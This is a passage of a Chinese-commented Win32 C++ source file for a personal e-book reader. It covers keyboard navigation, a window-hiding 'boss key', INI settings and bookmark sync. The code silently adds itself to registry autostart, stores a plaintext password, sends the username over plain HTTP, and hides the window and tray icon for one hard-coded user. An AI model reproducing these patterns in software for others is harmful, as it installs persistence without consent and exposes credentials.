//查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                  if (s_length<CaretPoslie){                                                   CaretPoslie=s_length;}                                 }   }}moveCaret();}return 0;}if (wParam==27)//退出程序ESC{SendMessageA(MAIN_hwnd,WM_CLOSE,0,0);return 0;}if (wParam==VK_RIGHT)//放大字体 向右箭头{if (!canedit){    CaretPoshang=0;CaretPoslie=0;if (ztdx<0){ztdx--;}else{ztdx++;}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}else{if (ll==2 or ll==3)//两栏模式 {if ((CaretPoshang<=Hang-1))//左栏处理,如果没到底部就向下移动光标{s=showstr[CaretPoshang];s1=s[CaretPoslie];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                    if (CaretPoslie<s_length)//在一行内移动{   if( isAscll(s1) )                   {CaretPoslie=CaretPoslie+1;}else{CaretPoslie=CaretPoslie+2; }}else//到行末了{if (CaretPoshang<showstr.size()-1){ CaretPoshang++;   CaretPoslie=0;                                         if (CaretPoshang>Hang-1){moveCaret();break;}}else{if (endwz>=bookstr.size()-1) return 0;}}                                   }else//右栏处理{if (CaretPoshang<=showstr.size()-1){s=showstr[CaretPoshang];s1=s[CaretPoslie];int s_length;if (s.find("\r\n")!=-1) {s_length=s.length()-2;}else{s_length=s.length();}                                        if (CaretPoslie<s_length)//在一行内移动{   if( isAscll(s1) )               {CaretPoslie=CaretPoslie+1;}else{CaretPoslie=CaretPoslie+2; }}else//到行末了{if (CaretPoshang<showstr.size()-1){ CaretPoshang++;   CaretPoslie=0;}else{if (endwz>=bookstr.size()-1) return 0;pagedown();CaretPoshang=0;; CaretPoslie=0;}}                                       }}}if (ll==1)//一栏模式 编辑模式下按向右箭头{if (CaretPoshang<=showstr.size()-1){s=showstr[CaretPoshang];s1=s[CaretPoslie];int s_length;if (s.find("\r\n")!=-1) {s_length=s.length()-2;}else{s_length=s.length();}if (CaretPoslie<s_length)//在一行内移动{  if( isAscll(s1) )               {CaretPoslie=CaretPoslie+1;}else{CaretPoslie=CaretPoslie+2; }}else//到行末了{if (CaretPoshang<showstr.size()-1)//当前页最末行之前{   CaretPoshang++;   CaretPoslie=0;}else//到当前页的最后一行了{if (endwz>=bookstr.size()-1) return 0;pagedown();CaretPoshang=0;  CaretPoslie=0;}}                                       }}moveCaret();}return 0;}if (wParam==VK_LEFT)//缩小字体向左箭头{if (!canedit){if (ztdx<0){ztdx++;}else{ztdx--;}CaretPoshang=0;CaretPoslie=0;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景}else{if (ll==2 or ll==3)//两栏模式 {if ((CaretPoshang<=Hang-1))//左栏处理,如果没到底部就向下移动光标{s=showstr[CaretPoshang];if (CaretPoslie>0)//在一行内移动{   s1=s[CaretPoslie-1];if( isAscll(s1) )              {CaretPoslie=CaretPoslie-1;}else{CaretPoslie=CaretPoslie-2;   }}else//到行头了{if (CaretPoshang>0){CaretPoshang--; s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                                 CaretPoslie=s_length;                                          }else{if (beginwz>0){pageup();//注意,执行这个函数后,可能showstr的内容还没有更新CaretPoshang=showstr.size()-1;;   printf("%d",CaretPoshang);s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                                     CaretPoslie=s_length;  }}}                                 }else//右栏处理{if (CaretPoshang<=showstr.size()-1){s=showstr[CaretPoshang];if (CaretPoslie>0)//在一行内移动{ s1=s[CaretPoslie-1];if( isAscll(s1) )              {CaretPoslie=CaretPoslie-1;}else{CaretPoslie=CaretPoslie-2;   }}else//到行末了{CaretPoshang--;    s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                                 CaretPoslie=s_length;  }                                       }}}if (ll==1)//一栏模式{if (CaretPoshang<=showstr.size()-1){s=showstr[CaretPoshang];if (CaretPoslie>0)//在一行内移动{   s1=s[CaretPoslie-1];if( isAscll(s1) )              {CaretPoslie=CaretPoslie-1;}else{CaretPoslie=CaretPoslie-2;   }}else//到行首了{if (CaretPoshang>0)//如果大于最小行,则到上一行{CaretPoshang--;   s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                                 CaretPoslie=s_length;  }else{if (beginwz>0){pageup();CaretPoshang=showstr.size()-1;;   s=showstr[CaretPoshang];int s_length;if (s.find("\r\n")!=-1) //查找当前行是否有换行回车{s_length=s.length()-2;//有就字符数减两位}else{s_length=s.length();//没有就照取总符数}                                                     CaretPoslie=s_length;  }}}                                     }}moveCaret();          }return 0;}if (wParam==109&& !canedit)//缩小行间距{HJJ--;CaretPoshang=0;CaretPoslie=0;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景return 0;}            if (wParam==107&& !canedit)//扩大行间距{HJJ++;CaretPoshang=0;CaretPoslie=0;getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景return 0;}         return 0;}case WM_HOTKEY:{//热键响应事件switch (wParam){case 9001://ALT+z{if (IsWindowVisible(hwnd)!=0)//ALT+Z老板键{ ShowWindow(hwnd,SW_HIDE);//P141隐藏窗口 }else{OpenIcon(hwnd);//P137恢复最小化窗口  ShowWindow(hwnd,SW_SHOW);//P141显示窗口 SetForegroundWindow(hwnd);//P137将窗口前置 }return 0;}case 9002://读书笔记ALT+x{if (username=="游客"){MessageBox(hwnd,"请登录后再使用本功能!","警告",MB_OK);}else {HWND fhwnd=FindWindow(NULL,"读书笔记");//查找窗口类名if (fhwnd!=NULL) {DestroyWindow(fhwnd);//关闭这个窗口break;}elseDisplayTalk(hwnd,talk6,"talk6","读书笔记",800,800);}return 0;} case 9003://F2MessageBox(hwnd,"请登录后再使用本功能!","警告",MB_OK);{//获取F2热键命令执行指令memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"F2热键", //项名"G:\\我的资料-ZGP\\001-文档\\000-财务审计部\\000-待办文件", //没找到此项时的返回值inputstr, //目标缓冲区地址MAX_PATH, //目标缓冲区长度IniFullPath); //配置文件的准确路径    ShellExecute(NULL,"open",inputstr, NULL, NULL, SW_SHOWNORMAL);    return 0;}      case 9004://F2MessageBox(hwnd,"请登录后再使用本功能!","警告",MB_OK);{ShellExecute(NULL,"open","G:\\我的资料-ZGP\\001-文档\\000-财务审计部\\000-待办文件", NULL, NULL, SW_SHOWNORMAL);   return 0;}  }//switch endreturn 0;}case WM_CLOSE:{ShowWindow(hwnd,SW_HIDE);//P141隐藏窗口 return 0;}case WM_DESTROY:{       //撤销窗口消息处理if (haveedit)//退出前提示存盘{if (MessageBox(hwnd,"当前文件已被修改,需要保存吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDYES ){int fz=FileName.find("新建文档");string str_write=UnicodeToANSI(bookstr);                            if (fz==-1){WriteToFile(str_write,FileName);  }else{string tempname;tempname = GetSaveFileName();if (tempname!=""){FileName=tempname;WriteToFile(str_write,FileName);}                               }}}//写入窗口的宽和高RECT r;GetWindowRect(MAIN_hwnd, &r);//_itoa(r.right-r.left,temp,10);sprintf(temp,"%d",r.right-r.left);   //数字转换成字符WritePrivateProfileString("电子书","kuan",temp,IniFullPath);//_itoa(r.bottom-r.top,temp,10);sprintf(temp,"%d",r.bottom-r.top);  //数字转换成字符WritePrivateProfileString("电子书","gao",temp,IniFullPath);//写入字体大小//_itoa(ztdx,temp,10);sprintf(temp,"%d",ztdx);   //数字转换成字符WritePrivateProfileString("电子书","字体大小",temp,IniFullPath);//写入字体名称//_itoa(ztdx,temp,10);sprintf(temp,"%d",ztdx);  //数字转换成字符WritePrivateProfileString("电子书","字体名称",ztname,IniFullPath);sprintf(temp,"%d",HJJ);   //数字转换成字符//itoa(HJJ,temp,10);//这种方法会出错,原因不知WritePrivateProfileString("电子书","行间距",temp,IniFullPath);//写入INI数值 //将当前阅读位置写入INI文件中//sprintf(temp,"%d",beginwz);    //数字转换成字符//WritePrivateProfileString("电子书",FileName.c_str(),temp,IniFullPath);//写入INI数值           //将背景色写入INI文件中sprintf(temp,"%d",bjs); //数字转换成字符WritePrivateProfileString("电子书","背景色",temp,IniFullPath);//写入INI数值//将字体色写入INI文件中sprintf(temp,"%d",zts);   //数字转换成字符WritePrivateProfileString("电子书","字体色",temp,IniFullPath);//写入INI数值//将显示模式写入INI文件中sprintf(temp,"%d",ll);   //数字转换成字符WritePrivateProfileString("电子书","显示模式",temp,IniFullPath);//写入INI数值WritePrivateProfileString("电子书","书名",FileName.c_str(),IniFullPath);WritePrivateProfileString("电子书","背景图",bjtpath.c_str(),IniFullPath);WritePrivateProfileString("电子书","bookid",bookid.c_str(),IniFullPath);if (username!="游客" && bookid!="-1")//上传书签 {char bookwz[30]="\0";char bookzzs[30]="\0";sprintf(bookwz,"%d",beginwz);sprintf(bookzzs,"%d",bookstr.size());string tempurl="http://lovegp.cn/gpbook/gpbooksq.asp?cz=editwz&username="+username+"&bookid="+bookid+"&bookwz="+bookwz+"&bookzzs="+bookzzs;booknr=geturl(tempurl);}         Shell_NotifyIcon(NIM_DELETE, &nid);//窗口销毁时删除托盘UnregisterHotKey(hwnd, 9001); //注销HotKey, 释放资源。UnregisterHotKey(hwnd, 9002); //注销HotKey, 释放资源。UnregisterHotKey(hwnd, 9003); //注销HotKey, 释放资源。KillTimer(MAIN_hwnd,ID_TIMER2);//销毁定时器   PostQuitMessage(0);     //产生退出程序消息WM_QUITreturn 0;}case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, RGB(0xFF, 0x00, 0x00));//255, 255, 255白色 0, 0, 0黑色  RGB(0xFF, 0x00, 0x00)红色return (BOOL)((HBRUSH)GetStockObject(WHITE_BRUSH));//背景色NULL_BRUSH}case WM_SIZE: {   cxClient = LOWORD (lParam) ; //得到客户区宽度cyClient = HIWORD (lParam) ; //得到客户区高度return 0;}}if (message == WM_TASKBAR_CREATED){//系统Explorer崩溃重启时,重新加载托盘Shell_NotifyIcon(NIM_ADD, &nid);}  return DefWindowProc(hwnd,message,wParam,lParam);
}//winmain主窗口函数APIENTRY
int APIENTRY WinMain(HINSTANCE hinstance , HINSTANCE hPrevinstance , LPSTR lpcmdLine , int nCmdShow)
{//if (IsWin10System()==true) MessageBox(NULL,"这是Win10系统","提示",MB_OK);/*HWND fhwnd=FindWindow("悦读器zgp",NULL);//查找窗口类名if (fhwnd!=NULL) {//MessageBox(NULL,"悦读器已经运行了一个","提示",MB_OK);ShowWindow(fhwnd,SW_SHOW);//P141显示窗口OpenIcon(fhwnd);//P137恢复最小化窗口   return 0;}*/hinst=hinstance;WNDCLASS wndclass;                 //定义窗口类结构体变量MSG msg;                        //定义消息结构体变量wndclass.style=CS_HREDRAW | CS_VREDRAW |CS_DBLCLKS;     //改变窗口大小则重绘wndclass.cbClsExtra=0;                  //窗口类无扩展wndclass.cbWndExtra=0;                 //窗口实例无扩展wndclass.hInstance=hinstance;             //注册窗口类实例句柄wndclass.hIcon=(HICON) LoadImage(hinstance, MAKEINTRESOURCE(IDI_ICON1), IMAGE_ICON, 32, 32, LR_SHARED); //也可以用这种方法//LoadIcon(hinstance,"IDI_ICON1");      //P61加载图标资源;//LoadIcon(NULL ,IDI_APPLICATION);IDI_ICON1     //使用光标箭头//wndclass.hIconSm = (HICON) LoadImage(hinstance, MAKEINTRESOURCE(IDI_ICON1), IMAGE_ICON, 16, 16, LR_SHARED);  wndclass.hCursor=LoadCursor(NULL , IDC_ARROW);     //指定鼠标箭头的样式IDC_ARROWwndclass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//窗口背景为白色wndclass.lpszMenuName=NULL;               //窗口默认无菜单//注册主窗口wndclass.lpszClassName="悦读器zgp";     //窗口类名为"悦读器zgp"wndclass.lpfnWndProc=WindowProc;      //窗口函数为WindowProc() if(!RegisterClass(&wndclass))           //此为注册类的函数{return false;                         //注册不成功,返回false}//关于窗口wndclass.lpszClassName="关于窗口";        //窗口类名为"悦读器zgp"wndclass.lpfnWndProc=aboutProc;       //窗口函数为WindowProc() if(!RegisterClass(&wndclass))           //此为注册类的函数{return false;                         //注册不成功,返回false}//注册第一个窗口//参数配置wndclass.lpfnWndProc = Talk1ConfigProc;wndclass.lpszClassName = "Talk1";if(!RegisterClass(&wndclass))               //此为注册类的函数{return false;                    //注册不成功,返回false}    //注册第二个窗口//图书馆wndclass.lpfnWndProc = Talk2LibraryProc;wndclass.lpszClassName = "Talk2";if(!RegisterClass(&wndclass))                //此为注册类的函数{return false;                    //注册不成功,返回false}    //注册第三个窗口//图书预览wndclass.lpfnWndProc = Talk3BookPreviewProc;wndclass.lpszClassName = "Talk3";if(!RegisterClass(&wndclass))               //此为注册类的函数{return false;                    //注册不成功,返回false}            //注册第四个窗口//用户登录wndclass.lpfnWndProc = Talk4LoginProc;wndclass.lpszClassName = "Talk4";if(!RegisterClass(&wndclass))             //此为注册类的函数{return false;                    //注册不成功,返回false}//注册第五个窗口//书架wndclass.lpfnWndProc = Talk5BookstackProc;wndclass.lpszClassName = "Talk5";if(!RegisterClass(&wndclass))               //此为注册类的函数{return false;                    //注册不成功,返回false}//注册第六个窗口//读书笔记wndclass.lpfnWndProc = Talk6NoteProc;wndclass.lpszClassName = "Talk6";if(!RegisterClass(&wndclass))              //此为注册类的函数{return false;                    //注册不成功,返回false}            //注册第七个窗口//共享图书wndclass.lpfnWndProc = Talk7SharebooksProc;wndclass.lpszClassName = "Talk7";if(!RegisterClass(&wndclass))                //此为注册类的函数{return false;                    //注册不成功,返回false}//注册第八个窗口//时间提醒wndclass.lpfnWndProc = Talk8TeaTimerProc;wndclass.lpszClassName = "Talk8";if(!RegisterClass(&wndclass))              //此为注册类的函数{return false;                    //注册不成功,返回false}        //注册第九个窗口//inputwndclass.lpfnWndProc = Talk9inputProc;wndclass.lpszClassName = "Talk9";if(!RegisterClass(&wndclass))                //此为注册类的函数{return false;                    //注册不成功,返回false}            //创建程序运行的配套目录string ml=(char *)Get_Run_Path_ZGP();//得到当前程序运行的目录ml=ml+"GPBOOK\\";if (!dirExists(ml)) //判断目录是否存在,如果不存在,则创建它{if(!CreateDirectory(ml.c_str(),NULL))//创建一个目录{MessageBox(NULL,"创建书籍存放目录GPBOOK错误。\n","提示",0);return false;}}// char** lpFilePart; //int i=0;//奇怪,在WIN10环境下一定要加这句,不然执行GetFullPathName后会闪退,到底是什么原因??????//GetFullPathName("config.ini",MAX_PATH,IniFullPath,lpFilePart);//p518得到指定文件的全路径和文件名 不char temp_RunPath[MAX_PATH];GetModuleFileName(NULL,temp_RunPath,MAX_PATH);//得到当前运行程序全称string filePath=temp_RunPath;//windows10下会注册错误,不知何解????if (IsWin10System()!=true)addToAutoRun(filePath);//向注册表添加自启动项//设置INI文件的路径及名称strcat(IniFullPath,Get_Run_Path_ZGP());//字符串相加strcat(IniFullPath,"GPBOOK\\config.ini");//字符串相加//strcpy(IniFullPath,Get_Run_Path_ZGP());//获取当前程序路径//int len = strlen(IniFullPath);//strcpy(IniFullPath+len,"config.ini");//获取背景色、字体色bjs=GetPrivateProfileInt("电子书","背景色",12632256,IniFullPath);//读取INI数值zts=GetPrivateProfileInt("电子书","字体色",0,IniFullPath);//读取INI数值//获取电子书全路径名称memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"书名", //项名"no file", //没找到此项时的返回值inputstr, //目标缓冲区地址MAX_PATH, //目标缓冲区长度IniFullPath); //配置文件的准确路径  FileName=inputstr;if (FileName.find("\\")==-1)//如果没有\符号,则加上指定目录:程序运行目录+GPBOOK{FileName=ml+FileName;}  bookstr=ReadFile(FileName);//读取电子书数据//获取用户名memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"username", //项名"游客", //没找到此项时的返回值inputstr, //目标缓冲区地址MAX_PATH, //目标缓冲区长度IniFullPath); //配置文件的准确路径 username=inputstr;//获取用户密码memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"password", //项名"", //没找到此项时的返回值inputstr, //目标缓冲区地址MAX_PATH, //目标缓冲区长度IniFullPath); //配置文件的准确路径        password=inputstr;//获取BOOKIDmemset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"bookid", //项名"-1", //没找到此项时的返回值inputstr, //目标缓冲区地址MAX_PATH, //目标缓冲区长度IniFullPath); //配置文件的准确路径      bookid=inputstr;//获取背景图全路径memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"背景图", //项名"BOARD.BMP", //没找到此项时的返回值inputstr, //目标缓冲区地址MAX_PATH, //目标缓冲区长度IniFullPath); //配置文件的准确路径        bjtpath=inputstr;  //窗口居中//int cx = GetSystemMetrics(SM_CXSCREEN);            //获取屏幕宽度//int cy = GetSystemMetrics(SM_CYSCREEN);          //获取屏幕高度RECT rt;SystemParametersInfo(SPI_GETWORKAREA,   0,   &rt,   0);    // 获得桌面工作区大小int workcx=rt.right-rt.left;int workcy=rt.bottom-rt.top;HDC hdctemp=GetDC(NULL);int xsd = GetDeviceCaps(hdctemp,LOGPIXELSY);//得到当前屏幕每英寸的像素点是多少DeleteDC(hdctemp);//           int A4x=(210/25.4)*xsd*sfbl;//         int A4y=(297/25.4)*xsd*sfbl;   int FORMx=GetPrivateProfileInt("电子书","书宽",workcx-50,IniFullPath);//workcx-10;int FORMy=GetPrivateProfileInt("电子书","书高",workcy-50,IniFullPath);//workcx-10;;//workcy-10;//GetPrivateProfileInt("电子书","gao",cy-50,IniFullPath);//读取INI数值;if (FORMx>workcx) FORMx=workcx-50;if (FORMy>workcy) FORMy=workcy-50;//int FORMx=A4x;//int FORMy=A4y; int FORMleft = (workcx - FORMx) / 2;                   //新建窗口居中显示int FORMtop = (workcy - FORMy) /2;                       //新建窗口居中显示//窗口居中zbj=GetPrivateProfileInt("电子书","页面边距",80,IniFullPath);//读取INI数值-页面边距//获取字体大小ztdx=GetPrivateProfileInt("电子书","字体大小",38,IniFullPath);//读取INI数值-字体大小//获取字体名memset(ztname, 0, 20);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"字体名称", //项名"楷体", //没找到此项时的返回值ztname, //目标缓冲区地址20, //目标缓冲区长度IniFullPath); //配置文件的准确路径//获取行间距HJJ=GetPrivateProfileInt("电子书","行间距",20,IniFullPath);//读取INI数值;//获取阅读模式:1为单栏,2为双栏无背景图,3为双栏有背景图ll=GetPrivateProfileInt("电子书","显示模式",3,IniFullPath);//取得阅读位置beginwz=GetPrivateProfileInt("电子书","阅读位置",0,IniFullPath);//读取INI数值//创建窗口的函数MAIN_hwnd=CreateWindow("悦读器zgp" , //窗口类名为"Windows窗口创建""阅读器 设计:张国鹏 C++源码创作",      //窗口的名称为“Windows窗口创建”,即窗口标题栏显示的窗口名称WS_POPUP,         //重叠式窗口WS_OVERLAPPEDWINDOW  WS_POPUP无边框无标题FORMleft,FORMtop,         //窗口左上角在屏幕上的默认位置FORMx,FORMy,                //窗口的宽度和高度NULL,                     //窗口无父类窗口NULL,                      //窗口无主菜单hinstance,                  //创建此窗口的实例句柄NULL                        //此窗口无创建参数);if (username!="游客" && bookid!="-1")//下载书签 程序启动5秒后检查阅读进度{SetTimer(MAIN_hwnd,ID_TIMER1,5000,NULL);//建立一个定时器}  SetTimer(MAIN_hwnd,ID_TIMER2,5000,NULL);//建立一个定时器       //char lpbuffer[MAX_PATH];//char lpszShortPath[MAX_PATH];//GetModuleFileName(NULL, lpbuffer, MAX_PATH);//491得到当前运行程序路径及名称       //GetCurrentDirectory(MAX_PATH,lpbuffer);//P514得到当前目录//GetShortPathName(lpszLongPath,lpszShortPath,MAX_PATH);//SetWindowText(MAIN_hwnd,lpszShortPath);getstr();if (username=="11888"){ShowWindow(MAIN_hwnd,SW_HIDE);//P141隐藏窗口 //ShowWindow(MAIN_hwnd,nCmdShow);              //显示窗口}else{ShowWindow(MAIN_hwnd,nCmdShow);   //显示窗口}UpdateWindow(MAIN_hwnd);                   //不断的更新窗口的客户区if (username!="11888"){InitTray(hinstance, MAIN_hwnd);            //实例化托盘}while(GetMessage(&msg,NULL,0,0))    //捕获消息{TranslateMessage(&msg);      //键盘消息转换DispatchMessage(&msg);      //派送消息给窗口函数}return msg.wParam;  //返回退出值
}

C++ 纯WIN32 API编程 悦读器实战示例相关推荐

  1. 使用纯 Win32 API 编程实现Winpcap 封包捕获的第一个例子

    先上代码: /*------------------------------------------------------------win32, Winpcap, by bobo, 2018-09 ...

  2. VC++中忽略所有默认库纯Win32 API编译及链接 - 计算机软件编程 - Wangye's Space

    原始链接: VC++中忽略所有默认库纯Win32 API编译及链接 - 计算机软件编程 - Wangye's Space 我们在用VC++编写Windows程序的时候可能会发现一般可执行体(.EXE) ...

  3. 视频教程-精通Win32 API编程-Windows图形界面编程-C/C++

    精通Win32 API编程-Windows图形界面编程 黄强老师,国家软件设计师,软件开发工程师,项目经理.产品经理.培训讲师. 创业合伙人,多年C.C++开发经验,尤擅长移动互联网项目的开发! 黄强 ...

  4. win32 C++制作美观按钮,告别win32 API编程中默认的灰色按钮

    使用win32 C++制作美观按钮,当鼠标移入/移出按钮时改变按钮背景颜色,类似HTML网页中的效果,告别win32 API编程中默认的灰色按钮,效果图见下面动图和视频. win32 C++制作美观按 ...

  5. Win32 API 封装类总结

    以下是一些封装的Win32 API类:备用: 重温WIN32 API ------ 最简单的Windows窗口封装类 http://blog.csdn.net/smstong/article/deta ...

  6. C#调用Win32 api学习总结

    转载:https://blog.csdn.net/bcbobo21cn/article/details/50930221 从.NET平台调用Win32 API Win32 API可以直接控制Micro ...

  7. 重温WIN32 API ------ 最简单的Windows窗口封装类

    1 开发语言抉择 1.1 关于开发Win32 程序的语言选择 C还是C++ 在决定抛弃MFC,而使用纯Win32 API 开发Window桌面程序之后,还存在一个语言的选择,这就是是否使用C++.C+ ...

  8. Win32 API 打印

    重温 Win32 API ----- 截屏指定窗口并打印 http://blog.csdn.net/smstong/article/details/42082039 朋友说在一个VC++6.0开发的项 ...

  9. Win32 API串口编程

    在工业控制中,工控机(一般都基于Windows平台)经常需要与智能仪表通过串口进行通信.串口通信方便易行,应用广泛. 一般情况下,工控机和各智能仪表通过RS485总线进行通信.RS485的通信方式是半 ...

最新文章

  1. lightgbm过去版本安装包_云顶手游10.13安装包,6月24日
  2. 科大讯飞与优刻得、寒武纪等联合设立合肥智能语音创新发展有限公司
  3. os.walk(path)遍历path下的所有目录和文件
  4. java 生成二维码 QRCode、zxing 两种方式
  5. Flink 读取文本文件,聚合每一行的uid
  6. java 删除指定目录_Java 删除目录 指定文件
  7. java sleep 循环_while循环中的Thread.sleep()
  8. python实现刷博器(适用于新浪、搜狐)
  9. 大数取余运算(详解)
  10. 6.3使用用户名或邮箱都能登录
  11. 远程预付费电能监测系统设计与应用
  12. 计算机病毒手动查杀,如何手动查杀计算机病毒
  13. Python代码制作“恐龙跳一跳“小游戏
  14. 非常精美的唐诗,无与伦比哦
  15. 手写操作系统(2)——代码是怎么运行的?
  16. selenium+python基本知识
  17. python win32gui模块详解_Python笔记_第二篇_面向过程_第二部分_4.常用模块的简单使用_窗体控制模块(win32con、win32gui)...
  18. 关于Nginx服务器的一些粗略认识
  19. java入门之 ArrayList类(动态数组)
  20. 分享下在国内发售的全系列联想小新平板的型号和对应的海外版

热门文章

  1. 写一个能火的游戏视频脚本
  2. krpano中视角js动态指向
  3. 切莫让CDN缓存你的动态文件
  4. Java虚拟机JVM简介与理解(三)
  5. 【Blender Python】随手一记
  6. Windos系统使用webdav协议将阿里云盘挂载在本地,并实现Notability等支持webdav协议软件的自动备份
  7. 如何将PlayStation 4恢复出厂设置
  8. SQL Server之创建数据库和表
  9. 机场航班信息显示系统
  10. uni-app 遮罩层事件穿透解决办法catchtouchmove